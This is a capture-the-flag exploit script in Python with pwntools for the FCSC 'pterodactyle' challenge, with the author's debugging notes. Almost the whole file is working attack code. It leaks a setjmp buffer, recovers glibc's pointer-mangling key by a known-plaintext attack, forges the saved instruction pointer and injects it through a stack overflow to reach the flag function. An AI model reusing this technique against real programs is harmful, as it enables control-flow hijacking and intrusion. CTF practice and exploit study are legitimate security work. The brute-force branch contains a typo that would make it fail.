-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.py
executable file
·245 lines (196 loc) · 6.9 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
#!/usr/bin/env python3
from pwn import *
import sys
from pwn_utils import *
from Crypto.Random import get_random_bytes
from Crypto.Util.number import long_to_bytes
USERNAME = b"admin"
PASSWORD = b"MySeCr3TP4$$W0rd"
def log_in(username=USERNAME, password=PASSWORD):
h.puntil(b">> ")
target.sendline(b"1")
h.puntil(b">> ")
target.send(username)
h.puntil(b">> ")
target.sendline(password)
def get_cookie():
h.puntil(b">> ")
target.sendline(b"2")
# eliminate the msg
h.pline()
cookie = target.recv(numb=0x40).strip()
while len(cookie) != 0x40:
print("cookie is only ", len(cookie), " !!!!!!")
cookie += b"\x00"
return cookie
def log_out():
h.puntil(b">> ")
target.sendline(b"3")
def overflow(payload):
log_in(username=payload, password=b" ")
def decrypt(payload):
arr = bytearray(payload)
res = b''
for b in arr:
res += xor(b, b"\x77")
return res
def print_cookie(cookie):
print("addresses:")
for i in range(0, len(cookie), 8):
print(hex(u64(cookie[i:i+8])))
def mangle(ptr, key):
return rol(xor(ptr, key), n=17)
def demangle(ptr, key):
return xor(ror(ptr,n=17), key)
def get_key(cookie, partial_rip):
rbx = cookie[0:8] # first address (local)
rbp_m = cookie[8:16] # 2nd address (local)
rsp_m = cookie[0x30:0x38] # second to last address (local)
rip_m = cookie[0x38:] # last address (local)
# rot right to undo the rot left of PTR_MANGLE
rbp_x = ror(rbp_m, n=17)
rsp_x = ror(rsp_m, n=17)
rip_x = ror(rip_m, n=17)
# the secret X is guessable we'll perform a known plain text attack
# the first 13 hex charac (representend unpacked) are guessed using the not mangle rbx
# because it points to the env on the stack it shares a lot with rbp
# the last 3 are guessed using the fact that PIE doesn't randomize the whole
# address, the last 3 are always the same
key_start = xor(rbp_x, rbx)
key_end = xor(rip_x, partial_rip)
# unpack and get rid of the "0x"
key_start = hex(u64(key_start))[2:]
key_end = hex(u64(key_end))[2:]
print("key_start/key_end:", key_start, key_end)
key = "0x" + key_start[:13] + key_end[13:]
print("key:", key)
key = p64(int(key, base=16))
return key
def craft_cookie(cookie, b, delta, rip_offset):
addr = b or b"\x00"
offset = b or b"\xec\xfd"
key = get_key(cookie, p64(rip_offset))
rip_m = cookie[0x38:]
rip = demangle(rip_m, key)
new_rip = p64(u64(rip)+delta)
new_rip_m = mangle(new_rip, key)
cookie = bytearray(cookie)
base = 0x38
print(f"inject new rip {new_rip} at {hex(base)} in the cookie")
for i in range(len(new_rip)):
cookie[base+i] = new_rip_m[i]
# in the case of brute force I tried:
# base = 0x3a
# print(f"add {offset} at {hex(base)}")
# for i in range(len(offset)):
# cookie[base+i] = (cookie[base+i] + offset[i]) % 256
# base = 0x3a
# print(f"inject {addr} at {hex(base)}")
# for i in range(len(addr)):
# cookie[base+i] = addr[i]
cookie = bytes(cookie)
return cookie
def pwn_it(b = None):
h.set_target(target)
padding_username = b"\x61"*0x20 # 32 = 4 adresses
padding_password = b"a"*0x40 # 64 = 8 adresses
normal_jmp_offset = 0x131f
flag_offset = 0x1595
log_in()
cookie = get_cookie()
print("leak:", cookie)
print_cookie(cookie)
log_out()
# compute the difference between flag_offset and normal_jmp_offset to know how many to add to leaked rip
target_addr_delta = flag_offset - normal_jmp_offset
cookie = craft_cookie(cookie, b, target_addr_delta, normal_jmp_offset)
print("new cookie is:")
print_cookie(cookie)
payload = decrypt(padding_username + cookie) # needed because its the decrypted login which will be stored on the stack !!
overflow(payload)
h.pline()
target.kill()
if __name__ == "__main__":
if len(sys.argv) != 2:
print("remote, local or plz_pwn ?")
exit(1)
target = None
h = StreamO(target)
if sys.argv[1] == "remote":
target = remote("challenges.france-cybersecurity-challenge.fr", 2102)
pwn_it()
target.interactive()
elif sys.argv[1] == "local":
target = process("./pterodactyle")
#gdb.attach(target, gdbscript='b *main+561') # the write call
#target = gdb.debug("./pterodactyle", gdbscript='b *main+28') # to see the setjmp call
pwn_it()
target.interactive()
elif sys.argv[1] == "plz_pwn":
# THIS IS A DEAD END, but well tried:
for i in range( 0 , 65600 , 1 ):
h.stop_printing()
target = process("./pterodactyle")
# either random or exhaustive tries:
random = False
if rabdom:
b = get_random_bytes(1)
else:
b = int.to_bytes(i // 256)+int.to_bytes(i % 256)
pwn_it(b)
h.start_printing()
try:
lines = h.getline(n=3, timeout=1, dtype="bytes")
if b"FCSC" in lines:
target.interactive()
except EOFError:
pass
target.kill()
else:
print("remote, local or plz_pwn ?")
exit(1)
"""
Notes :
changing address:
1st (base=0x00) : rbx (local) : nothing happened (local)
2nd (base=0x08) : rbp mangled (local) : SIGBUS control rbp and maybe more ??? (local) (stop at main+96)
3rd (base=0x10) : r12 (local) : nothing happened (local)
4th (base=0x18) : r13 (local) : nothing happened (local)
5th (base=0x20) : r14 (local) : nothing happened (local)
6th (base=0x28) : r15 (local) : nothing happened (local)
7th (base=0x30) : rsp mangled (local) : SIGBUS control rdx and maybe more, is it useful? (local)
8th (base=0x38) : rip mangled (local) : SIGSEGV control rdx on call 'jmp rdx' at __longjmp+78 (local)
original rdxjump addr:
0x 00 5650 948a 231f
modified by overwring one byte at +0x38 in cookie by \x00:
0x 3d d650 948a 231f
byte at +0x39 --> byte \x00
0x 00 5564 8724 431f
0x4f00 5564 8724 431f
0x 00 55f8 4a67 031f
0x2a80 55f8 4a67 031f
byte at +0x3a --> byte \x00
0x 00 55ab 2567 23 1f
0x8000 55ab 2567 23 28
0x00 5596 42fe c3 1f
0x00 5596 42fe c3 1b
--> pas le meme decalage dans les deux cas... ca doit dependre de autre chose aussi
quid d'un bruteforve de ces 2bytes ?
byte at +0x3b --> byte \x00
0x00 55c5 b864 b 31 f
0x00 55c5 b864 b 09 f
0x00 5594 e6f5 831f
0x00 5594 e6f5 bc9f
byte at +0x3c --> byte \x00
0x 00 55d1 160 f f31f
0x 55d1 160 6 f31f
byte at +0x3d --> byte \x00
0x00 55e1 3fe5 a31f
0x 55e1 72e5 a31f
byte at +0x3e --> byte \x00
0x00 5560 a456 c31f
0x 5550 a456 c31f
byte at +0x3f --> byte \x00
0x0055db 6344 931f
0x 4a5b 6344 931f
"""